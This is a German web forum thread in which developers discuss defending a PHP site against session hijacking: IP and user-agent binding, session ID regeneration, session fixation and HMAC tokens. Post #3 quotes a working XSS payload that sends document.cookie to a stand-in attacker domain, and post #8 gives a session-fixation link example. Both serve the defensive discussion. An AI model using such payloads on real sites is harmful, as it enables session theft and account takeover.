Gegen Session-Hijacking absichern

#1
Ich habe mich in letzter Zeit viel mit Websicherheit befasst und überlege nun wie man Session-Hijacking verhindern kann.

Meine (und im Netz gefundene) Idee ist folgende:
Sobald der User sich anmeldet wird ein zusätzlicher Schlüssel aus dem UserAgent erstellt und in der Datenbank gespeichert. Nun wird bei jedem Seitenaufruf geprüft ob der (neu generierte) Schlüssel gleich dem gespeicherten ist. Nur wenn das der Fall ist bleibt der User eingeloggt.

Die elementare Schwachstelle die ich bei dem ganzen sehe ist dass der Angreifer der ja sowieso einen Cookiestealer benutzt genauso gut den UserAgent in Erfahrung bringen und diesen dann selber senden kann und somit mit der oben beschriebenen Methode nicht vom wirklichen User unterschieden werden kann.

Daher überlegte ich nun aus der IP und dem UserAgent den Schlüssel zu generieren, allerdings wäre dann immer noch ein Angriff möglich wenn der Besucher einen Proxy benutzt und der Angreifer selbigen nutzt.
Das ganze ist allerdings dann schon recht unwahrscheinlich, denke ich.


Gibt es besseren Methoden Session-Hijacking zu umgehen?
Natürlich abgesehen davon keine XSS Löcher zu lassen. ;)


edit:
Das einzige was mir momentan einfällt wäre ein sich ständig verändernder Zusatz im Schlüssel welcher sich mit jedem Seitenaufruf ändert (Und auch jedes Mal in die DB gespeichert werden müsste)
Dann müsste der SessionStealer bzw. der Angreifer sich vor dem User einloggen. Der User würde daraufhin, aufgrund des geänderten Schlüssels, abgemeldet und müsste sich wieder anmelden woraufhin der Angreifer wieder abgemeldet würde.

Zumindest ein wenig mehr Sicherheit, wenn auch zu einem hohen Performance preis, oder denke ich gerade falsch ?

edit2:
Ein wenig am Text gefeilt.
Ich werde das ganze nun erst einmal mit einem Schlüssel aus UserAgent und Ip umsetzten.

M.f.g.
SleepProgger
 
Zuletzt bearbeitet:
#2
Hallo,
gut wäre es, wenn du kurz umreißen könntest, was du unter Session Capturing verstehst bzw. gegen welchen Fall du dich schützen will.

Es gibt diverse Varianten wie ein Angreifer an die Session ID kommen kann. Nutzt man PHP, so sollte man bevor man die Session beim Login registiert,
session_regenerate_id(true); aufrufen. Dadurch verhindert man, dass ein Angreifer die SessionID bestimmt und sie somit dann hijacken kann.


Und da du den Cookiestealer erwähnt hast:
Hat ein Angreifer Kontrolle über das System des Opfers und kann z.B. beliebigen Code ausführen, ist es für jeden Schutzmechanismus zu spät. Denn statt nur die Session zu hijacken wird der Angreifer wohl gleich das Login Passwort mitschreiben.
Deswegen braucht man diesen Fall auch nicht mit einbeziehen in die Überlegungen, da der Angreifer stets jeden Schutzmechanismus seitens des Servers sehr leicht aushebeln kann.


Hoffe das hilft etwas weiter.
 
#3
Was ich meine ist etwas in der Art:
Code:
someDomain.de/niceScript.php?imgSrc="><script language= "JavaScript">new Image().src='http://attackerDomain.de/evilScript.php?c='+encodeURI(document.cookie);</script>
Hat ein Angreifer Kontrolle über das System des Opfers und kann z.B. beliebigen Code ausführen, ist es für jeden Schutzmechanismus zu spät. Denn statt nur die Session zu hijacken wird der Angreifer wohl gleich das Login Passwort mitschreiben.
Bei einer wie oben von mir beschriebenen Schwachstelle dürfte es schwer werden das Passwort mit zu schreiben.
Dafür müsste sich in der LoginSeite ja eine XSS Möglichkeit befinden.
Ich denke es macht mehr Sinn die Session eines bereits angemeldeten Benutzers zu stehlen.


Das mit dem session_regenerate_id(true); habe ich auch schon gelesen und werde es einbauen.
Allerdings bringt das ja nur was wenn der Angreifer sich auch wirklich einloggt. Oder mache ich hier einen Denkfehler?

Meinem Verständnis nach reicht es aus wenn der Angreifer einfach in den Cookie der Seite die PHPSESSID (so die Seite php benutzt) des Opfers einträgt und dann eine Seite aufruft welche nach dem login liegt, also nach dem "session_regenerate_id(true);". Natürlich nur wenn die Validierung anhand der Session Variablen geschieht. Oder liege ich hier total daneben ?


Es gibt diverse Varianten wie ein Angreifer an die Session ID kommen kann
Nur für meinen Wissensdurst.
Welche denn, ausser per Javascript oder wenn die sessionId per GetParam übergeben den Referer oder ähnliches abfragen? Stichworte reichen.

edit:
Fällt mir gerade beim rumspielen mit regenerate_session_id ein:
Statt meiner Idee aus dem ersten Post, mit dem Zufallsteil des Schlüssels, könnte man mit dem gleichen Effekt bei jedem Seitenaufruf die sessionId regenerieren, so hätte der Angreifer nur ein kleines Zeitfenster (bis der User eine andere Seite aufruft) in der die gestohlene SessionId von Nutzen wäre.
 
Zuletzt bearbeitet:
#4
Bei einer wie oben von mir beschriebenen Schwachstelle dürfte es schwer werden das Passwort mit zu schreiben.
Dafür müsste sich in der LoginSeite ja eine XSS Möglichkeit befinden.
Ich denke es macht mehr Sinn die Session eines bereits angemeldeten Benutzers zu stehlen.
Was Elderan meinte, ist dass sobald der Angreifer auf Deinem Pc ist, er tun und machen kann was er will. Stichwort Keylogger oder Network data sniffen. Da kannste Serverseitig machen was Du willst, aber vor sowas kannste Deine User/Seite nicht schützen.
 
#5
Klar wenn der böse Angreifer die Daten auf meinem Server manipulieren kann ist es schon ein wenig spät.
Mir geht es allerdings erst einmal um das ermitteln der SessionId durch Einschleusung von Javascript (wie auch immer).

Meinem Verständnis nach reicht es aus wenn der Angreifer einfach in den Cookie der Seite die PHPSESSID (so die Seite php benutzt) des Opfers einträgt und dann eine Seite aufruft welche nach dem login liegt...".
Diese Frage beantworte ich mir nach ein wenig Bastelei einfach mal selbst mit "Stimmt" ;)
 
Zuletzt bearbeitet:
#6
Hallo Sleepprogger,

ich verstehe nicht ganz was Du vorhast?
Wolltest Du Tipps um Deine Webapplikation besser zu schützen?

Sessioncapturing? Sagt mir auch nix?


Mögliche Angriffsvektoren aufs Zugriffs und Rechtemanagement währen, Beispiel:


  1. Cross-Site Scripting
  2. Cross-Site Request Forgery
  3. Man In The Middle Attacken
  4. Exploiting

Mögliche Angriffsvektoren aufs Session Management währen, Beispiel:

  1. Exploiting
  2. Session Hijacking
  3. Session Fixation
  4. Cookie Poisoning
  5. Man In The Middle Attacken

LG, -umbrella
 
#7
Ups ich seh es jetzt erst. Was ich meinte ist "Session Hijacking". *peinlich, peinlich*
Irgendwie war ich wohl ein wenig durcheinander ;).

Grund meiner, teils doch recht komischen Posts, war/ist Möglichkeiten in Erfahrung zu bringen wie man Session Hijacking verhindern kann und ob meine Überlegung bezügich "Schlüssel aus IP und UserAgent" sinnvoll ist.

n8
 
#8
Hallo,
Nur für meinen Wissensdurst.
Welche denn, ausser per Javascript oder wenn die sessionId per GetParam übergeben den Referer oder ähnliches abfragen? Stichworte reichen.
Oh da gibts theoretisch diverse Möglichkeiten. Man kann ja mal danach googlen.

Eine Möglichkeit ist, dem Opfer einen Link wie z.B.:
www.guteSeite.de/index.php?PHPSESSID=1234567890

zusenden und ihn darauf klicken zu lassen. PHP wird dann eine Session mit dieser ID anlegen. Logt sich der User dann ein, wird dies entsprechend für diese SessionID markiert/hinterlegt. Damit kennt dann der Angreifer die SessionID eines eingelogten Nutzers.

Deswegen sollte man entsprechend session_regenerate_id(true) nutzen immer dann wenn sich ein Nutzer authentifiziert. Damit würde diese vorgegebene SessionID vom Nutzer ungültig werden.


Den UserAgent kann man überprüfen und die Session zurücksetzen wenn es dort mal eine Abweichung geben sollte. Klar, wenn der Angreifer den Schutz kennt kann er es leicht umgehen. Dort gilt dann entsprechend Security Through Obscurity.


Aber ansonsten liefert Google zu Session Hijacking noch eine Menge Literatur dazu.


z.B.:
http://www.erich-kachel.de/?p=368
http://phpsec.org/projects/guide/4.html
 
#9
Ok danke für de Antworten. Ich werde dann wohl noch ein wenig lesen ;)


Kann man denn so einfach seine Ip/des Routers in eine bestimmte andere ändern?
Das mit dem UserAgent lässt sich mir zu leicht umgehen. Daher auch die Überlegung aus IP und Agent eine Schlüssel zu generieren.
 
#10
Hallo,
nein das Faken von einer IP-Adresse ist heute eigentlich nicht mehr möglich (beim TCP/IP-Protokoll). Desbezüglich wäre man dann sicher.

Das Problem dabei ist, dass manche Leute mit mehreren IP Adressen surfen. Zum Beispiel in Unternehmen oder in Universitäten oder durch Anonymisierungsdienste wie Tor. Da kann sich dann die IP Adresse mit jedem Aufruf ändern.


Vor einigen Jahren (heute glaub ich nicht mehr), war dies bei AOL Kunden auch so. Jeder Aufruf eine andere IP Adresse. Hat doch manch einen Besucherzähler in die Höhe schnellen lassen.

Aber wenn jemand (beliebigen) JavaScript-Code in eine Seite injizieren kann (XSS), ist sowieso schon fast alles verloren. Dieser könnte schlicht dem Benutzer zu einem erneuten Login auffordern, ohne dazu eine fake-Page o.ä. erstellen zu müssen, denn er kann ja den Inhalt der Seite beliebig verändern. Und dann greift man von dem erneuten Login einfach die Passwortdaten ab.
Den Umweg über Session Hijacking wird da kaum jemand gehen. Denn die Logindaten sind viel lohnender als irgendeine übernommene Session.
 
Zuletzt bearbeitet:
#11
Um das mit der Session aus meiner Sicht nochmal zu verdeutlichen ... Ich hoffe ich schreibe nicht zu sehr am Thema vorbei ...

Es ist ratsam eindeutige Faktoren des Benutzers an einer Session zu binden - Beispiel: IP und Useragent. Dann ist es noch ratsam die Lebensdauer der Session einzuschränken. Des weiteren ist es ratsam, ein User bei jedem Login eine neue Session zu geben – alte hingegen löschen.

Szenario: (Verschlüsselung, Hard-TimeOut, Soft-TimeOut und XSS und Co. mal außen vor) …

Nach erfolgreichen Login:
Session_id wird vom System generiert und als Cookie gesetzt - oder per URL weiter gegeben.
Zusätzlich werden für die Wiedererkennung des Nutzers einige Daten in der DB gespeichert.

DB Beispiel:
session_id
session_user_id
session_user_ip
session_user_agent
session_user_time

Bei Aktionen wird nun immer verglichen ob die gespeicherten Daten, mit den übermittelten Daten, stimmen - Wenn nicht ist die Session ungültig.

Für mehr Sicherheit ist das Zusammenspiel entscheidend:

  1. Verschlüsselte Übertragung
  2. Eingabevalidierung
  3. Session sollte nach einiger Zeit die Gültigkeit verlieren
  4. Session sollte eindeutiger an den User gebunden werden (IP und Useragent)
usw.

Das mit dem UserAgent lässt sich mir zu leicht umgehen. Daher auch die Überlegung aus IP und Agent eine Schlüssel zu generieren.
Dein Schlüssel ist für mich jetzt nix anderes als wenn Du den Useragent und die IP normal mit der Session_id in der DB speicherst. Eine Überlegung wäre vielleicht bei Jeder wichtigen Aktion nochmal noch einem extra Passwort zu fragen. Dieses sollte dann aber gesondert von den eigentlichen Benutzter Daten gespeichert werden.

Würde mich Interessieren wenn Du eine andere Lösung hast.

lg, -umbrella
 
#12
Man kann übrigens auch bei jedem Seitenaufruf die Sitzung neu generieren lassen. Erzeugt zwar etwas Serverlast, erhört die Sicherheit aber erheblich. Wenn ein Angreifer die Session abfängt und versucht die Seite aufzurufen, nachdem der Nutzer irgendwas auf der Seite gemacht hat, gehts nicht mehr... hat natürlich auch Nachteile...
 

GrafZahl

Member of Honour
#13
naja ... sofern man sich damit anfreunden kann js als pflicht für jeden nutzer anzusehen, bliebe die methode einem benutzer einen schlüssel zur session mitzugeben, und jeden aufruf via HMAC (Hashed Message Authentication Code: hash über ein shared secret + zeitstempel + sessionid) zu validieren ...

der client müsste dann in minuten abstand den HMAC neu erzeugen und in einem cookie speichern ... beim seitenaufruf sendet der browser dann den HMAC mit sessionid und zeitstempel der letzten HMAC aktualisierung mit ...

die zusätzliche last durch die crypto funktionen hält sich dabei in grenzen, da man eine hash-funktion wählen kann die schnell zu berechnen ist ...

angreifbar wird das ganze natürlich wenn der angreifer zu einem MITM szenario fähig ist, oder die DNS auflösung verbiegen kann, oder kontrolle über den rechner des besuchers (oder gar über den server) hat...

-das weitergeben einer session via link ist hierbei nicht möglich
-gravierenste einschränkung dürfte JS sein
-es gibt keine probleme durch die verwendung von proxys, da unabhänig von der ip
-kein rückgriff auf unzuverlässige informationen wie UserAgent und co.
 
#14
@Elderan:
Über das Problem mit Tor und. Co hatte ich auch schon gegrübelt.
Die Idee mit dem erneuten Login ist schon erschreckend einfach wenn ich darüber nachdenke : im einfachsten Fall, die SessionId im Cookie, so dort gespeichert,.löschen/ändern, die gleiche Seite per HttpXmlRequest aufrufen und alles loggen.

@umbrella:
Ja, genau den in deinem letzten Absatz erwähnten Sinn und Zweck hat mein Schlüssel. ;)
Deine restlichen Tipps werde ich berücksichtigen.

@csde_rats:
Darüber hatte ich auch schon nachgedacht, siehe mein zweiter Post letzter Absatz in diesem Thread. Dennoch Dankeschön für den Tipp.

@GrafZahl:
Irgendwie verstehe ich den Sinn dahinter nicht ganz.
Das "shared secret" muss zur erneuten Schlüsselgenerierung doch auch beim Client gespeichert werden.
Sollte das z.b. in den Cookies geschehen, ist es dem Angreifer doch wieder problemlos möglich, so eine XSS Möglichkeit o.ä. gegeben ist, den Schlüsse zu generieren, oder sehe ich da was falsch?
Ich möchte auf jeden Fall nicht auf "security through obscurity" aufbauen.

M.f.g.
SleepProgger
 
#16
Genauso hatte ich das auch verstanden ;)

Bis jetzt ist mir immer noch nicht nicht ganz klar welchen Sinn das validieren mittels der HMAC-Verfahren in diesem Fall macht.
Falls ich das ganze falsch verstanden habe, bitte klärt mich auf.

M.f.g.
SleepProgger
 
Oben